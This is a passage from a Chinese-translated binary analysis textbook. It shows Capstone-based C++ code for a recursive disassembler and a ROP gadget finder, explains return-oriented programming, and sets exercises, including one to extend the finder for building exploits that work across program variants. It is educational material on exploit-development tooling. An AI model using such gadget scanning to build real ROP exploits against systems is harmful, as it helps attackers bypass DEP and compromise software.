清单 8-9 展示了递归反汇编的基本实现。与大多数递归反汇编器不同,本示例中的反汇编器并不假设字节一次只能属于单条指令,因此支持重叠的代码块。

清单 8-9: basic_capstone_recursive.cc

   #include   <stdio.h>
   #include   <queue>
   #include   <map>
   #include   <string>
   #include   <capstone/capstone.h>
   #include   "../inc/loader.h"
 int disasm(Binary *bin);
   void print_ins(cs_insn *ins);
   bool is_cs_cflow_group(uint8_t g);
   bool is_cs_cflow_ins(cs_insn *ins);
   bool is_cs_unconditional_cflow_ins(cs_insn *ins);
   uint64_t get_cs_ins_immediate_target(cs_insn *ins);

   int
   main(int argc, char *argv[])
   {
     Binary bin;
     std::string fname;

     if(argc < 2) {
       printf("Usage: %s <binary>\n", argv[0]);
       return 1;
     }

     fname.assign(argv[1]);
     if(load_binary(fname, &bin, Binary::BIN_TYPE_AUTO) < 0) {
       return 1;
     }

     if(disasm(&bin) < 0) {
       return 1;
     }

     unload_binary(&bin);

     return 0;
   }

   int
   disasm(Binary *bin)
   {
     csh dis;
     cs_insn *cs_ins;
     Section *text;
     size_t n;
     const uint8_t *pc;
     uint64_t addr, offset, target;
     std::queue<uint64_t> Q;
     std::map<uint64_t, bool> seen;

     text = bin->get_text_section();
     if(!text) {

     fprintf(stderr, "Nothing to disassemble\n");
     return 0;
   }

   if(cs_open(CS_ARCH_X86, CS_MODE_64, &dis) != CS_ERR_OK) {
     fprintf(stderr, "Failed to open Capstone\n");
     return -1;
   }
➊  cs_option(dis, CS_OPT_DETAIL, CS_OPT_ON);

➋  cs_ins = cs_malloc(dis);
    if(!cs_ins) {
      fprintf(stderr, "Out of memory\n");
      cs_close(&dis);
      return -1;
   }

   addr = bin->entry;
➌  if(text->contains(addr)) Q.push(addr);
    printf("entry point: 0x%016jx\n", addr);

➍  for(auto &sym: bin->symbols) {
      if(sym.type == Symbol::SYM_TYPE_FUNC
         && text->contains(sym.addr)) {
        Q.push(sym.addr);
        printf("function symbol: 0x%016jx\n", sym.addr);
      }
    }

➎  while(!Q.empty()) {
      addr = Q.front();
      Q.pop();
      if(seen[addr]) continue;

      offset = addr - text->vma;
      pc      = text->bytes + offset;
      n       = text->size - offset;
➏    while(cs_disasm_iter(dis, &pc, &n, &addr, cs_ins)) {
        if(cs_ins->id == X86_INS_INVALID || cs_ins->size == 0) {
          break;
        }

        seen[cs_ins->address] = true;
        print_ins(cs_ins);

➐      if(is_cs_cflow_ins(cs_ins)) {
➑        target = get_cs_ins_immediate_target(cs_ins);
 if(target && !seen[target] && text->contains(target)) {
            Q.push(target);
            printf(" -> new target: 0x%016jx\n", target);
          }
➒        if(is_cs_unconditional_cflow_ins(cs_ins)) {
           break;
          }
        } ➓else if(cs_ins->id == X86_INS_HLT) break;
      }
      printf("----------\n");
   }

   cs_free(cs_ins, 1);
   cs_close(&dis);

   return 0;
   }

   void
   print_ins(cs_insn *ins)
   {
     printf("0x%016jx: ", ins->address);
     for(size_t i = 0; i < 16; i++) {
       if(i < ins->size) printf("%02x ", ins->bytes[i]);
       else printf("   ");
     }
     printf("%-12s %s\n", ins->mnemonic, ins->op_str);
   }

   bool
   is_cs_cflow_group(uint8_t g)
   {
     return (g == CS_GRP_JUMP) || (g == CS_GRP_CALL)
            || (g == CS_GRP_RET) || (g == CS_GRP_IRET);
   }

   bool
   is_cs_cflow_ins(cs_insn *ins)
   {
     for(size_t i = 0; i < ins->detail->groups_count; i++) {
       if(is_cs_cflow_group(ins->detail->groups[i])) {
         return true;
       }
     }

     return false;
   }
 bool
   is_cs_unconditional_cflow_ins(cs_insn *ins)
   {
     switch(ins->id) {
     case X86_INS_JMP:
     case X86_INS_LJMP:
     case X86_INS_RET:
     case X86_INS_RETF:
     case X86_INS_RETFQ:
       return true;
     default:
       return false;
     }
   }

   uint64_t
   get_cs_ins_immediate_target(cs_insn *ins)
   {
     cs_x86_op *cs_op;

     for(size_t i = 0; i < ins->detail->groups_count; i++) {
       if(is_cs_cflow_group(ins->detail->groups[i])) {
         for(size_t j = 0; j < ins->detail->x86.op_count; j++) {
           cs_op = &ins->detail->x86.operands[j];
           if(cs_op->type == X86_OP_IMM) {
             return cs_op->imm;
           }
         }
       }
     }

     return 0;
   }

正如你在清单 8-9 中看到的,main函数与线性反汇编器中的 main 函数完全相同。大部分情况下,disasm函数开头的初始化代码也很相似。它首先加载.text段并获取一个 Capstone 句柄。然而,有一个小而重要的补充 ➊。这行代码通过激活 CS_OPT_DETAIL 选项来启用详细反汇编模式。这对于递归反汇编至关重要,因为你需要控制流信息,而这些信息只有在详细反汇编模式中才会提供。

接下来,代码显式地分配了一个指令缓冲区 ➋。虽然在线性反汇编器中并不需要这个缓冲区,但在这里需要它,因为你将使用与之前不同的 Capstone API 函数进行实际反汇编。这个替代的反汇编函数允许你在反汇编每条指令时即时检查它,而无需等待所有其他指令都被反汇编完毕。这是详细反汇编中的常见需求,因为你通常希望在过程中对每条指令的细节进行处理,以便影响反汇编器的控制流。

通过入口点进行循环

在 Capstone 初始化之后,递归反汇编器的逻辑开始执行。递归反汇编器是围绕一个队列构建的,这个队列包含反汇编器的起始点。第一步是通过填充队列来启动反汇编过程,填充的内容包括:二进制文件的主入口点➌以及任何已知的函数符号 ➍。之后,代码进入主反汇编循环 ➎。

如前所述,循环是围绕一个地址队列构建的,这些地址用作反汇编的起始点。只要还有更多的起始点需要探索,每次迭代都会从队列中弹出下一个起始点,然后从那里开始跟随控制流,尽可能多地反汇编代码。实质上,这个过程从每个起始点执行线性反汇编,将每个新发现的控制流目标推入队列。新的目标将在循环的后续迭代中被反汇编。每次线性扫描只会在遇到hlt指令或无条件跳转时停止,因为这些指令无法保证有有效的跳转目标。这些指令后面可能是数据而不是代码,因此你不希望继续反汇编它们之后的内容。

该循环使用了几个你可能以前没见过的 Capstone 新函数。首先,它使用了一个不同的 API 调用,名为cs_disasm_iter,来执行实际的反汇编 ➏。此外,还有一些函数可以检索详细的反汇编信息,例如控制流指令的目标和判断某条指令是否为控制流指令的信息。让我们先讨论一下为什么在这个例子中需要使用cs_disasm_iter而不是传统的cs_disasm

使用迭代式反汇编进行实时指令解析

顾名思义,cs_disasm_itercs_disasm函数的迭代变体。使用cs_disasm_iter时,Capstone 不会一次性反汇编整个代码缓冲区,而是每次只反汇编一条指令。每反汇编完一条指令,cs_disasm_iter会返回truefalsetrue表示指令成功反汇编,而false表示没有任何指令被反汇编。你可以轻松创建一个while循环,如➏所示,调用cs_disasm_iter直到没有剩余的代码可供反汇编。

cs_disasm_iter的参数本质上是你在线性反汇编器中看到的那些参数的迭代变体。如同之前一样,第一个参数是你的 Capstone 句柄。第二个参数是指向要反汇编代码的指针。不过,现在它是一个双指针(即uint8_t**),而不是uint8_t*。这样,cs_disasm_iter可以在每次调用时自动更新指针,将其设置为指向刚刚反汇编过的字节之后的位置。由于这种行为类似于程序计数器,因此这个参数叫做pc。如你所见,对于队列中的每个起始点,你只需要将pc指向.text段中的正确位置一次。之后,你可以简单地在循环中调用cs_disasm_iter,它会自动处理pc的递增。

第三个参数是剩余的字节数,用于反汇编,cs_disasm_iter会自动递减该值。在这种情况下,它始终等于.text段的大小减去已反汇编的字节数。

还有一个自动递增的参数叫做addr,它告诉 Capstone 代码指针pc所指向的代码的虚拟内存地址(就像线性反汇编器中的text->vma)。最后一个参数是指向cs_insn对象的指针,它作为每条反汇编指令的缓冲区。

使用cs_disasm_iter代替cs_disasm有几个优点。使用它的主要原因是它的迭代行为,允许你在每条指令反汇编后立即检查它,从而让你检查控制流指令并递归跟踪它们。除了有用的迭代行为外,cs_disasm_iter还比cs_disasm更快、更节省内存,因为它不需要一个大的预分配缓冲区来一次性容纳所有反汇编的指令。

解析控制流指令

如你所见,拆解循环使用了多个辅助函数来判断某个特定指令是否为控制流指令,并且如果是,它的目标地址是什么。例如,is_cs_cflow_ins函数(在➐处调用)用于判断某个指令是否为任何类型的控制流指令(无论是条件跳转还是无条件跳转)。为此,它检查了 Capstone 提供的详细拆解信息。特别地,Capstone 提供的ins->detail结构体包含了一个指令所属的“组”数组(ins->detail->groups)。通过这些信息,你可以轻松地根据指令所属的组做出决策。例如,你可以知道某个指令是跳转指令,而不需要显式地检查ins->id字段是否与所有可能的跳转指令匹配,如jmpjajejnz等。在is_cs_cflow_ins函数中,它会检查指令是否属于跳转、调用、返回或中断返回指令类型(实际检查由另一个辅助函数is_cs_cflow_group实现)。如果指令属于这四种类型中的任何一种,它就被认为是控制流指令。

如果一个拆解的指令被识别为控制流指令,那么你需要尽可能解析它的目标地址,并将其添加到队列中(如果之前没有见过该地址),以便稍后对该目标地址处的指令进行拆解。解析控制流目标地址的代码在一个名为get_cs_insn_immediate_target的辅助函数中。示例在➑处调用了这个函数。顾名思义,它只能解析“立即”控制流目标:即在控制流指令中硬编码的目标地址。换句话说,它不会尝试解析间接控制流目标,因为这在静态分析中是非常困难的,正如你在第六章中看到的那样。

解析控制流目标是这个例子中架构特定指令处理的第一个实例。解决控制流目标需要检查指令的操作数,并且由于每种指令架构都有自己的一组操作数类型,不能以通用方式解析它们。在这个例子中,你正在操作 x86 代码,因此你需要访问 Capstone 提供的 x86 特定操作数字段数组,作为详细反汇编信息的一部分(ins->detail->x86.operands)。该数组包含以struct类型cs_x86_op表示的操作数。该struct包含一个匿名union,其中包含所有可能的操作数类型:寄存器(reg)、立即数(imm)、浮动点数(fp)或内存(mem)。实际设置的字段取决于操作数类型,类型由cs_x86_op中的type字段指示。示例反汇编器只解析立即数类型的控制流目标,因此它检查type X86_OP_IMM的操作数,并返回它找到的任何立即数目标的值。如果该目标尚未被反汇编,disasm函数会将其加入队列。

最后,如果disasm遇到hlt指令或无条件控制流指令,它会停止反汇编,因为它无法知道这些指令后面是否还有非代码字节。为了检查无条件控制流指令,disasm调用另一个辅助函数,叫做is_cs_unconditional_cflow_ins ➒。这个函数通过ins->id字段显式检查所有相关的指令类型,因为这种类型的指令种类有限。在➓处有一个单独的检查针对hlt指令。当反汇编循环结束后,disasm函数会清理分配的指令缓冲区并关闭 Capstone 句柄。

运行递归反汇编器

刚才探讨的递归反汇编算法是许多自定义反汇编工具的基础,也是像 Hopper 或 IDA Pro 这样的完整反汇编套件的基础。当然,这些工具包含比这个简单示例更多的启发式方法,用于识别函数入口点和其他有用的代码属性,即使没有函数符号也能识别。尝试编译并运行递归反汇编器!它在具有符号信息的二进制文件上效果最好。它的输出旨在让你跟随递归反汇编过程的每一步。例如,列表 8-10 展示了本章开头引入的具有重叠基本块的混淆二进制文件的递归反汇编输出片段。

列表 8-10:递归反汇编器的示例输出

   $ ./basic_capstone_recursive overlapping_bb
   entry point: 0x400500
   function symbol: 0x400530
   function symbol: 0x400570
   function symbol: 0x4005b0
   function symbol: 0x4005d0
   function symbol: 0x4006f0
   function symbol: 0x400680
   function symbol: 0x400500
 function symbol: 0x40061d
   function symbol: 0x4005f6
   0x400500: 31 ed                    xor    ebp, ebp
   0x400502: 49 89 d1                 mov    r9, rdx
   0x400505: 5e                       pop    rsi
   0x400506: 48 89 e2                 mov    rdx, rsp
   0x400509: 48 83 e4 f0              and    rsp, 0xfffffffffffffff0
   0x40050d: 50                       push   rax
   0x40050e: 54                       push   rsp
   0x40050f: 49 c7 c0 f0 06 40   00   mov    r8, 0x4006f0
   0x400516: 48 c7 c1 80 06 40   00   mov    rcx, 0x400680
   0x40051d: 48 c7 c7 1d 06 40   00   mov    rdi, 0x40061d
   0x400524: e8 87 ff ff ff           call   0x4004b0
   0x400529: f4                       hlt
   ----------
   0x400530: b8 57 10 60 00           mov    eax, 0x601057
   0x400535: 55                       push   rbp
   0x400536: 48 2d 50 10 60 00        sub    rax, 0x601050
   0x40053c: 48 83 f8 0e              cmp    rax, 0xe
   0x400540: 48 89 e5                 mov    rbp, rsp
   0x400543: 76 1b                    jbe    0x400560
     -> ➊new target: 0x400560
   0x400545: b8 00 00 00 00           mov    eax, 0
   0x40054a: 48 85 c0                 test   rax, rax
   0x40054d: 74 11                    je     0x400560
     -> new target: 0x400560
   0x40054f: 5d                       pop    rbp
   0x400550: bf 50 10 60 00           mov    edi, 0x601050
   0x400555: ff e0                    jmp    rax
   ----------
   ...
   0x4005f6: 55                       push   rbp
   0x4005f7: 48 89 e5                 mov    rbp, rsp
   0x4005fa: 89 7d ec                 mov    dword ptr [rbp - 0x14], edi
   0x4005fd: c7 45 fc 00 00 00 00     mov    dword ptr [rbp - 4], 0
   0x400604: 8b 45 ec                 mov    eax, dword ptr [rbp - 0x14]
   0x400607: 83 f8 00                 cmp    eax, 0
   0x40060a: 0f 85 02 00 00 00        jne    0x400612
     -> new target: 0x400612
 ➋  0x400610: 83 f0 04                 xor    eax, 4
   0x400613: 04 90                    add    al, 0x90
   0x400615: 89 45 fc                 mov    dword ptr [rbp - 4], eax
   0x400618: 8b 45 fc                 mov    eax, dword ptr [rbp - 4]
   0x40061b: 5d                       pop    rbp
   0x40061c: c3                       ret
   ----------
   ...
➌  0x400612: 04 04                   add     al, 4
   0x400614: 90                       nop
   0x400615: 89 45 fc                 mov    dword ptr [rbp - 4], eax
   0x400618: 8b 45 fc                 mov    eax, dword ptr [rbp - 4]
   0x40061b: 5d                       pop    rbp
   0x40061c: c3                       ret
   ----------

如清单 8-10 所示,反汇编器首先排队处理入口点:首先是二进制文件的主入口点,然后是任何已知的函数符号。接着,它会从队列中的每个地址开始,尽可能安全地反汇编尽可能多的代码(破折号表示反汇编器决定停止并移动到队列中的下一个地址的位置)。在此过程中,反汇编器还会发现新的、以前未知的地址,将它们添加到队列中以便稍后反汇编。例如,地址0x400543处的jbe指令揭示了新的目标地址0x400560 ➊。反汇编器成功地找到了在模糊二进制文件中重叠的两个代码块:一个位于地址0x400610 ➋,另一个嵌入其中,位于地址0x400612 ➌。

8.3 实现 ROP Gadget 扫描器

到目前为止,您看到的所有示例都是知名反汇编技术的自定义实现。然而,Capstone 能做得更多!在本节中,您将看到一种更专业的工具,它的反汇编需求是标准的线性或递归反汇编所无法涵盖的。具体来说,您将了解一种对于现代漏洞编写至关重要的工具:一种扫描工具,它能够找到用于 ROP 攻击的 gadget。首先,让我们来探索一下这意味着什么。

8.3.1 返回导向编程简介

几乎每篇关于漏洞利用的介绍文章都涵盖了 Aleph One 的经典文章《Smashing the Stack for Fun and Profit》,该文解释了基于栈的缓冲区溢出利用的基础。当这篇文章在 1996 年发布时,漏洞利用相对简单:找到一个漏洞,将恶意的 shellcode 加载到目标应用程序中的缓冲区(通常是栈缓冲区),然后利用该漏洞将控制流重定向到 shellcode。

自那时以来,安全领域发生了很多变化,攻击手段变得更加复杂。针对这类经典漏洞的最广泛防御之一是数据执行防护(DEP),也称为 W⊕X 或 NX。它在 2004 年随着 Windows XP 的推出而引入,能够以一种极其简单的方式防止 shellcode 注入。DEP 强制要求任何内存区域不能同时是可写和可执行的。因此,如果攻击者将 shellcode 注入到缓冲区中,他们将无法执行它。

不幸的是,黑客很快找到了一种绕过 DEP 的方法。新的防御措施阻止了 shellcode 的注入,但无法阻止攻击者利用漏洞将控制流重定向到被利用的二进制文件中或它所使用的库中的现有代码。这种弱点首次被利用是在一种称为返回到 libc(ret2libc)的攻击中,其中控制流被重定向到广泛使用的 libc 库中的敏感函数,如execve函数,后者可用于启动攻击者选择的新进程。

2007 年,出现了一种称为面向返回编程(ROP)的广义版本的 ret2libc 攻击。与将攻击限制于现有函数不同,ROP 允许攻击者通过将目标程序内存空间中短小的现有代码序列连接起来来实现任意的恶意功能。这些短小的代码序列在 ROP 术语中被称为工具链

每个工具链都以返回指令结束,并执行基本操作,例如加法或逻辑比较。^(5) 通过精心选择具有明确定义语义的工具链,攻击者可以创建一个本质上是定制化指令集的程序,其中每个工具链形成一个指令,然后使用这个指令集来构建任意功能,也就是所谓的 ROP 程序,而无需注入任何新代码。工具链可以是主机程序正常指令的一部分,也可以是未对齐的指令序列,就像你在清单 8-1 和 8-2 中看到的混淆代码示例那样。

一个 ROP 程序由一系列精心排列在栈上的工具链地址组成,使得每个工具链结束的返回指令将控制权转移到链中的下一个工具链地址。要启动 ROP 程序,你执行一个初始返回指令(例如,通过攻击触发),该指令跳转到第一个工具链地址。图 8-1 展示了一个 ROP 链的示例。

image

图 8-1:一个示例 ROP 链。工具链 g[1] 将常量加载到 eax然后由 g[2] 将其加到 esi 中。

如你所见,栈指针(esp寄存器)最初指向链中第一个工具链 g[1]的地址。当初始返回指令发生时,它将栈中的第一个工具链地址弹出,并将控制权转移到该地址,导致 g[1]执行。工具链 g[1]执行一个pop指令,将栈上安排的常量加载到eax寄存器,并将esp递增以指向工具链 g[2]的地址。接着,g[1]的ret指令将控制权转移到 g[2],g[2]随后将eax中的常量加到esi寄存器中。工具链 g[2]然后返回给工具链 g[3],以此类推,直到所有工具链 g[1]、...、g[n]都被执行。

正如你可能从中了解到的,创建 ROP 攻击利用需要攻击者首先选择一个合适的 ROP 工具链。在接下来的部分,我们将实现一个工具,该工具扫描二进制文件以查找可用的 ROP 工具链,并创建这些工具链的概览,以帮助构建 ROP 攻击。

8.3.2 查找 ROP 工具链

接下来的代码展示了 ROP 工具链查找器的代码。它输出给定二进制文件中可以找到的 ROP 工具链列表。你可以使用这个列表来选择合适的工具链,并将它们组合成针对该二进制文件的攻击。

如前所述,你需要找到以返回指令结尾的小工具。此外,你还需要查找与二进制文件的常规指令流对齐或不对齐的小工具。可用的小工具应具有明确且简单的语义,因此它们的长度应相对有限。在这种情况下,我们(随意地)将小工具的长度限制为五条指令。

为了找到对齐和不对齐的小工具,一种可能的方法是从每个可能的起始字节反汇编二进制文件,看看在哪些字节上你会得到一个可用的小工具。然而,你可以通过先扫描二进制文件以查找返回指令(无论是对齐还是不对齐)的位置,然后从这些位置向后遍历,逐渐构建出越来越长的小工具,从而提高效率。这样,你就不必在每个可能的地址处开始反汇编扫描,只需在接近返回指令的地址开始即可。让我们通过仔细查看列表 8-11 中的小工具查找器代码,来更清楚地了解这到底意味着什么。

列表 8-11: capstone_gadget_finder.cc

  #include <stdio.h>
  #include <map>
  #include <vector>
  #include <string>
  #include <capstone/capstone.h>
  #include "../inc/loader.h"

  int find_gadgets(Binary *bin);
  int find_gadgets_at_root(Section *text, uint64_t root,
                           std::map<std::string, std::vector<uint64_t> > *gadgets,
                           csh dis);
  bool is_cs_cflow_group(uint8_t g);
  bool is_cs_cflow_ins(cs_insn *ins);
  bool is_cs_ret_ins(cs_insn *ins);
  int
  main(int argc, char *argv[])
  {
    Binary bin;
    std::string fname;

    if(argc < 2) {
      printf("Usage: %s <binary>\n", argv[0]);
      return 1;
    }

    fname.assign(argv[1]);
    if(load_binary(fname, &bin, Binary::BIN_TYPE_AUTO) < 0) {
      return 1;
    }

    if(find_gadgets(&bin) < 0) {
      return 1;
    }

    unload_binary(&bin);

    return 0;
  }

  int
  find_gadgets(Binary *bin)
  {
    csh dis;
    Section *text;
    std::map<std::string, std::vector<uint64_t> > gadgets;

    const uint8_t x86_opc_ret = 0xc3;

    text = bin->get_text_section();
    if(!text) {
      fprintf(stderr, "Nothing to disassemble\n");
      return 0;
    }

    if(cs_open(CS_ARCH_X86, CS_MODE_64, &dis) != CS_ERR_OK) {
      fprintf(stderr, "Failed to open Capstone\n");
      return -1;
    }
    cs_option(dis, CS_OPT_DETAIL, CS_OPT_ON);

    for(size_t i = 0; i < text->size; i++) {
➊   if(text->bytes[i] == x86_opc_ret) {
➋     if(find_gadgets_at_root(text, text->vma+i, &gadgets, dis) < 0) {
         break;
        }
      }
    }

➌   for(auto &kv: gadgets) {
       printf("%s\t[ ", kv.first.c_str());
       for(auto addr: kv.second) {
         printf("0x%jx ", addr);
       }
       printf("]\n");
    }

    cs_close(&dis);

    return 0;
  }

  int
  find_gadgets_at_root(Section *text, uint64_t root,
     std::map<std::string, std::vector<uint64_t> > *gadgets,
     csh dis)
  {
     size_t n, len;
     const uint8_t *pc;
     uint64_t offset, addr;
     std::string gadget_str;
     cs_insn *cs_ins;

     const size_t max_gadget_len    = 5; /* instructions */
     const size_t x86_max_ins_bytes = 15;
     const uint64_t root_offset = max_gadget_len*x86_max_ins_bytes;

     cs_ins = cs_malloc(dis);
     if(!cs_ins) {
       fprintf(stderr, "Out of memory\n");
       return -1;
     }

➍   for(uint64_t a = root-1;
                 a >= root-root_offset && a >= 0;
                 a--) {
       addr   = a;
       offset = addr - text->vma;
       pc     = text->bytes + offset;
       n      = text->size - offset;
       len    = 0;
       gadget_str = "";
➎      while(cs_disasm_iter(dis, &pc, &n, &addr, cs_ins)) {
          if(cs_ins->id == X86_INS_INVALID || cs_ins->size == 0) {
            break;
          } ➏else if(cs_ins->address > root) {
            break;
          } ➐else if(is_cs_cflow_ins(cs_ins) && !is_cs_ret_ins(cs_ins)) {
            break;
          } ➑else if(++len > max_gadget_len) {
            break;
          }

➒         gadget_str += std::string(cs_ins->mnemonic)
                        + " " + std::string(cs_ins->op_str);

➓         if(cs_ins->address == root) {
            (*gadgets)[gadget_str].push_back(a);
            break;
          }

          gadget_str += "; ";
        }
      }

      cs_free(cs_ins, 1);

      return 0;
  }

  bool
  is_cs_cflow_group(uint8_t g)
  {
    return (g == CS_GRP_JUMP) || (g == CS_GRP_CALL)
            || (g == CS_GRP_RET) || (g == CS_GRP_IRET);
  }

  bool
  is_cs_cflow_ins(cs_insn *ins)
  {
    for(size_t i = 0; i < ins->detail->groups_count; i++) {
      if(is_cs_cflow_group(ins->detail->groups[i])) {
        return true;
      }
    }
    return false;
  }

  bool
  is_cs_ret_ins(cs_insn *ins)
  {
    switch(ins->id) {
    case X86_INS_RET:
      return true;
    default:
      return false;
    }
  }

列表 8-11 中的小工具查找器并没有引入任何新的 Capstone 概念。main函数与线性和递归反汇编器中看到的相同,而辅助函数(is_cs_cflow_groupis_cs_cflow_insis_cs_ret_ins)也与之前看到的相似。Capstone 反汇编函数cs_disasm_iter也是之前见过的。关于小工具查找器的有趣之处在于,它使用 Capstone 以一种标准线性或递归反汇编器无法做到的方式分析二进制文件。所有的小工具查找功能都在函数find_gadgetsfind_gadgets_at_root中实现,所以我们接下来重点讨论它们。

扫描根节点并映射小工具

find_gadgets函数是从main调用的,它的开始方式非常熟悉。首先,它加载.text段,并在详细反汇编模式下初始化 Capstone。初始化完成后,find_gadgets会遍历.text段中的每个字节,检查该字节是否等于0xc3,即 x86 ret指令的操作码 ➊。^(6) 从概念上讲,每条这样的指令都是一个潜在的“小工具根”,你可以通过从根节点开始向后搜索来找到一个或多个小工具。你可以将所有以特定ret指令结尾的小工具看作一棵以该ret指令为根的树。为了找到与特定根节点连接的所有小工具,有一个单独的函数,叫做find_gadgets_at_root(在 ➋ 处调用),稍后我会详细讨论。

所有的 gadgets 都会被添加到一个 C++ map 数据结构中,该结构将每个独特的 gadget(以 string 形式)映射到它可以找到的地址集合。实际的 gadget 添加操作发生在 find_gadgets_at_root 函数中。在 gadget 搜索完成后,find_gadgets 会打印出所有 gadgets 的映射 ➌,并随后进行清理并返回。

在给定根地址查找所有的 gadgets

如前所述,find_gadgets_at_root 函数会查找所有最终落在给定根指令上的 gadgets。它首先分配一个指令缓冲区,这是使用 cs_disasm_iter 时所需的。接着,它进入一个循环,开始从根指令的前一个字节向后搜索,每次迭代时搜索地址减小,直到距离根地址 15 × 5 字节远 ➍。为什么是 15 × 5?这是因为你想要的 gadget 最多包含五条指令,并且由于 x86 指令的长度永远不会超过 15 字节,所以从任何给定的根指令开始,向后搜索的最大距离是 15 × 5 字节。

对于每个搜索偏移,gadget 查找器会执行一次线性反汇编扫描 ➎。与之前的线性反汇编示例不同,本示例在每次反汇编扫描时使用了 Capstone 的cs_disasm_iter函数。原因是,相比一次性反汇编整个缓冲区,gadget 查找器需要在每条指令后检查一系列停止条件。

首先,如果遇到无效指令,它会中止线性扫描,丢弃当前 gadget,并继续搜索下一个地址,从那里重新开始新的线性扫描。检查无效指令是非常重要的,因为在不对齐的偏移处的 gadgets 经常是无效的。

如果 gadegt 查找器遇到一个地址超出根地址的指令,它还会中止反汇编扫描 ➏。你可能会想,为什么反汇编会在没有首先遇到根地址本身的情况下到达根地址以外的指令?为了举例说明,记住你反汇编的一些地址是与正常的指令流不对齐的。这意味着,如果你反汇编一个多字节的不对齐指令,反汇编可能会将根指令作为不对齐指令的操作码或操作数的一部分,因此根指令本身并不会出现在不对齐的指令流中。

最后,如果 gadegt 查找器发现了一个除了返回之外的控制流指令 ➐,它会停止反汇编当前的 gadget。毕竟,gadgets 如果除了最后的返回指令外不包含其他控制流,它们会更容易使用。^(7) gadegt 查找器还会丢弃那些超过最大 gadget 大小的 gadgets ➑。

如果没有任何停止条件成立,则小工具查找器会将新反汇编的指令(cs_ins)附加到目前为止构建的包含小工具的字符串中➒。当分析到达根指令时,小工具就完成了,并被附加到小工具的map中➓。在考虑完所有可能的根指令附近的起始点后,find_gadgets_at_root完成并将控制权交回主find_gadgets函数,之后如果还有剩余的根指令,程序会继续处理。

运行小工具查找器

小工具查找器的命令行接口与反汇编工具相同。列表 8-12 显示了输出应该是什么样的。

列表 8-12: ROP 扫描器的示例输出

$ ./capstone_gadget_finder /bin/ls | head -n 10
adc byte ptr [r8], r8b; ret                       [ 0x40b5ac ]
adc byte ptr [rax - 0x77], cl; ret                [ 0x40eb10 ]
adc byte ptr [rax], al; ret                       [ 0x40b5ad ]
adc byte ptr [rbp - 0x14], dh; xor eax, eax; ret  [ 0x412f42 ]
adc byte ptr [rcx + 0x39], cl; ret                [ 0x40eb8c ]
adc eax, 0x5c415d5b; ret                 [ 0x4096d7 0x409747 ]
add al, 0x5b; ret                                 [ 0x41254b ]
add al, 0xf3; ret                                 [ 0x404d8b ]
add al, ch; ret                                   [ 0x406697 ]
add bl, dh; ret ; xor eax, eax; ret               [ 0x40b4cf ]

每行输出显示一个小工具字符串,后跟此小工具所在的地址。例如,地址0x406697处有一个add al, ch; ret的小工具,您可以在 ROP 有效载荷中使用它来将alch寄存器相加。像这样概览可用的小工具有助于在为利用漏洞制作 ROP 有效载荷时选择合适的 ROP 小工具。

8.4 总结

现在你应该能够熟练使用 Capstone 来开始构建你自己的自定义反汇编器。本章中的所有示例都包含在本书附带的虚拟机中。玩弄这些示例是掌握 Capstone API 的一个好起点。通过以下练习和挑战来检验你的自定义反汇编技能!

练习

1. 泛化反汇编器

本章中您看到的所有反汇编工具都配置了 Capstone,仅用于反汇编 x64 代码。你通过将CS_ARCH_X86CS_MODE_64作为架构和模式参数传递给cs_open来实现这一点。

让我们将这些工具泛化,使其能够通过检查加载的二进制文件中的archbits字段,自动选择适合其他架构的 Capstone 参数。这些字段由加载器提供。要弄清楚应该传递给 Capstone 的架构和模式参数,请记住,/usr/include/capstone/capstone.h文件中包含了所有可能的cs_archcs_mode值的列表。

2. 显式检测重叠块

尽管示例中的递归反汇编器能够处理重叠的基本块,但它在遇到重叠代码时并不会给出任何显式警告。扩展反汇编器以通知用户哪些块是重叠的。

3. 跨变体小工具查找器

从源代码编译程序时,生成的二进制文件可能会因为编译器版本、编译选项或目标架构等因素而有所不同。此外,防止二进制文件被利用的随机化策略(例如通过改变寄存器分配或打乱代码顺序)使得漏洞利用过程更加复杂。这意味着,在开发漏洞利用工具(例如 ROP 漏洞利用)时,你并不总是能够知道目标上运行的是哪种“变体”的程序。例如,目标服务器是用gcc还是llvm编译的?它是运行在 32 位还是 64 位架构上?如果猜错了,你的漏洞利用可能会失败。

在这个练习中,你的目标是扩展 ROP gadget 查找器,使其能够接受两个或更多的二进制文件作为输入,这些二进制文件代表同一程序的不同变体。它应当输出一个包含所有变体中都可以使用的 gadget 的 VMA 列表。你的新 gadget 查找器应该能够扫描每个输入的二进制文件来查找 gadgets,但只输出那些所有二进制文件都包含 gadget 的地址,而不仅仅是某些二进制文件包含的地址。对于每个报告的 VMA,这些 gadgets 还应当执行类似的操作。例如,它们将包含 add 指令或 mov 指令。实现可用的相似性概念将是一个挑战。最终的结果应该是一个跨变体的 gadget 查找器,能够用于开发可以同时在同一程序的多个变体上工作的漏洞利用工具!

为了测试你的 gadget 查找器,你可以通过多次使用不同的编译选项或不同的编译器来编译自己选择的程序,生成该程序的不同变体。

第九章:二进制插桩

在第七章中,你学习了几种修改和增强二进制程序的技术。尽管这些技术相对容易使用,但它们在能够向二进制中插入多少新代码以及能插入到何处方面有所限制。在本章中,你将学习一种叫做二进制插桩的技术,它允许你在二进制中的任何位置插入几乎无限量的代码,以观察或修改该二进制的行为。

在简要介绍二进制插桩之后,我将讨论如何实现静态二进制插桩(SBI)动态二进制插桩(DBI),这两种二进制插桩方式具有不同的权衡。最后,你将学习如何使用 Intel 提供的流行 DBI 系统 Pin,构建自己的二进制插桩工具。

9.1 什么是二进制插桩?

在现有二进制文件的任何位置插入新代码,以观察或修改该二进制行为的方式,称为插桩二进制。你添加新代码的位置称为插桩点,而添加的代码则称为插桩代码

例如,假设你想知道一个二进制文件中哪些函数被调用得最频繁,以便集中精力优化这些函数。要找出这个信息,你可以在二进制文件中对所有call指令进行插桩,^(1) 添加记录调用目标的插桩代码,使得当你执行插桩后的二进制文件时,它能够生成被调用函数的列表。

尽管这个例子只是观察二进制的行为,你也可以对其进行修改。例如,你可以通过对所有间接控制流转移(如call raxret)进行插桩,添加代码检查控制流目标是否在一组预期目标中,从而提高二进制的安全性,防止控制流劫持攻击。如果目标不在预期范围内,你就中止执行并触发警报。^(2)

9.1.1 二进制插桩 API

通用的二进制插桩技术,允许你在二进制的每个位置添加新代码,远比你在第七章中看到的简单二进制修改技术更难正确实现。回想一下,你不能简单地将新代码插入到现有的二进制代码段中,因为新代码会将现有代码移动到不同的地址,从而破坏对这些代码的引用。移动代码之后,几乎不可能找到并修补所有现有的引用,因为二进制文件中没有任何信息告诉你这些引用的位置,也没有可靠的方法来区分引用地址和看起来像地址但实际上不是地址的常量。

